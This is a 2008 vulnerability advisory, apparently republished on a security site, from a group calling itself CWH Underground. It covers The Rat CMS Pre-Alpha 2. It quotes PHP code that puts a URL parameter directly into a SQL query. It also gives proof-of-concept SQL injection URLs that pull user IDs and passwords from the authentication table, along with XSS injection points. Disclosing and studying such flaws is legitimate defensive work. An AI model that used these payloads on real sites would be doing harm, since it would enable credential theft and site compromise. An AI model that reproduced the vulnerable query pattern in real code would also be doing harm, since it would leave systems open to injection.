The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities

2008.06.28
Credit: tan_prathan
Risk: High
Local: No
Remote: Yes
CWE: CWE-89
CWE-79

========================================================== The Rat CMS (SQL/XSS) Multiple Remote Vulnerabilities ========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| `--------' | O .. CWH Underground Hacking Team .. `+---------------------------^----------| `\_,-------, _________________________| / XXXXXX /`| / / XXXXXX / `\ / / XXXXXX /\______( / XXXXXX / / XXXXXX / (________( `------' AUTHOR : CWH Underground DATE : 25 June 2008 SITE : cwh.citec.us ##################################################### APPLICATION : The Rat CMS VERSION : Pre-Alpha 2 VENDOR : N/A DOWNLOAD : http://downloads.sourceforge.net/the-rat-cms ##################################################### --- Remote SQL Injection --- --------------------------------------- Vulnerable File [viewarticle.php?id=] --------------------------------------- &#64;Line 5 73: $query = "SELECT title, content FROM news WHERE id=".$_GET['id']; 74: $result = mysql_query($query) or die('Error : ' . mysql_error()); 75: $row = mysql_fetch_array($result, MYSQL_ASSOC); --------- Exploit --------- [+] http://[Target]/[trcms_path]/viewarticle.php?id=[SQL Injection] [+] http://[Target]/[trcms_path]/viewarticle2.php?id=[SQL Injection] ------------- POC Exploit ------------- http://192.168.24.25/trcms/viewarticle.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user-- http://192.168.24.25/trcms/viewarticle2.php?id=-9999/**/UNION/**/SELECT/**/user_id,user_password/**/FROM/**/tbl_auth_user-- --- Remote XSS --- --------- Exploit --------- [+] http://[Target]/[trcms_path]/viewarticle.php/<XSS> [+] http://[Target]/[trcms_path]/viewarticle.php?id=<XSS> [+] http://[Target]/[trcms_path]/viewarticle2.php?id=<XSS> ################################################################## # Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos # ##################################################################

References:

http://www.securityfocus.com/bid/29959
http://www.securityfocus.com/archive/1/archive/1/493684/100/0/threaded


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2022, cxsecurity.com

 

Back to Top